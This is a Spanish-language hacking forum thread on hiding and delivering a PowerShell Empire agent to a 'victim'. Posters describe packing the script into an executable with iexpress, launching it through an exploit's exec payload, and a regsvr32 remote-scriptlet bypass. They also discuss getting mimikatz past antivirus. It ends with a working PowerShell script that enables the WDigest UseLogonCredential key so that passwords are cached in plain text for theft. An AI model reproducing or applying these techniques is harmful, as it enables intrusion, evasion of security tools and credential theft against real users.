En muchas maneras de "esconder" el .bat o el script que crea el agente.
Te dejo aqui algunas opciones que tienes.
1. Meter el script en un .exe. ¿Como puedes hacer esto?, con muchas aplicaciones, como por ejemplo "iexpress.exe".
2. Usar un exploit el cual sea funcional para la victima, y de payload windows/exec y el script que te crea el empire.
3. Haciendo un bypass con regsvr32 /s /n /u /i:Los enlaces son solo para miembros.
Registrate o
iniciá sesión. Dentro del SCT se puede embeber un wscript que lance el powershell.
Con esto lo que te venimos a decir, que hay miles de maneras de hacerlo, sólo, hay que tener imaginación.
Ya que estamos hablando de empire, uno de los payloads es mimikatz. ¿Hay alguien que haya conseguido encodearlo para que haga un bypass con los antivirus?
Yo lo que hago es desactivar el antivirus porque mimikatz es detectable...
Si os gusta el powershell como lenguaje de post explotacion.
Echarle un ojo a este script:
Los enlaces son solo para miembros.
Registrate o
iniciá sesiónEste script es capaz de leer el user y password en texto plano desde la memoria.
Por cierto, para que te funcione debes crear un clave en el reg.
Te dejo un script que me hice para crearla con un bypass:
param(
[string]$Activar="si"
)
$ErrorActionPreference = "SilentlyContinue"
if ($Activar -like "si" -or $args -like "Si") {$Activar="Si"} else {$Activar="No"}
######################################################################################################################
$ruta_key = "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest"
$key = "UseLogonCredential"
$check_exist_key = Test-Path $ruta_key
if ($check_exist_key -eq $null) {$check_exist_key = "False"}
$check_valor_key = Get-ItemProperty $ruta_key | Select-Object $key ; $check_valor_key = $check_valor_key.UseLogonCredential
######################################################################################################################
if ($Activar -eq "Si") { New-ItemProperty -Path $ruta_key -Name $key -Value "1" -PropertyType DWORD -Force| Out-Null; Write-Host "`n`nAñadida clave de registro, es necesario reiniciar." }
if ($Activar -eq "No") {Remove-ItemProperty $ruta_key -Name $key -Force | Out-Null ; "`n`nEliminada clave de registro, es necesario reiniciar."}
